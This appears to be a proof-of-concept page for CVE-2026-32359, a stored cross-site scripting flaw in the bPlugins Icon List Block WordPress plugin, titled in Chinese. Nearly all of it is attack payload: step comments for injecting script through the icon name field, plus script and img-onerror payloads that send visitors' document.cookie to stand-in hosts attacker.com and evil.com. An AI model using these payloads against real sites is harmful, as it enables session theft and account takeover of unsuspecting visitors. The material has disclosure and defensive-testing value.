CVE-2026-32359 bPlugins Icon List Block插件存储型XSS漏洞

<!-- CVE-2026-32359 PoC - Stored XSS in Icon List Block --> <!-- Attack Vector: Inject malicious JavaScript via Icon List Block --> <!-- Step 1: Create a new post/page with Icon List Block --> <!-- Step 2: Add an icon with the following payload in the icon name field --> <script>alert(document.cookie)</script> <!-- Or use img tag with onerror --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Example HTML payload that could be stored --> <div class="icon-list-item" data-icon="<img src=x onerror=alert(document.domain)>"> <span class="icon-name"><script>fetch('https://evil.com/log?cookie='+btoa(document.cookie))</script></span> </div> <!-- When victim visits the page, the script executes in their browser -->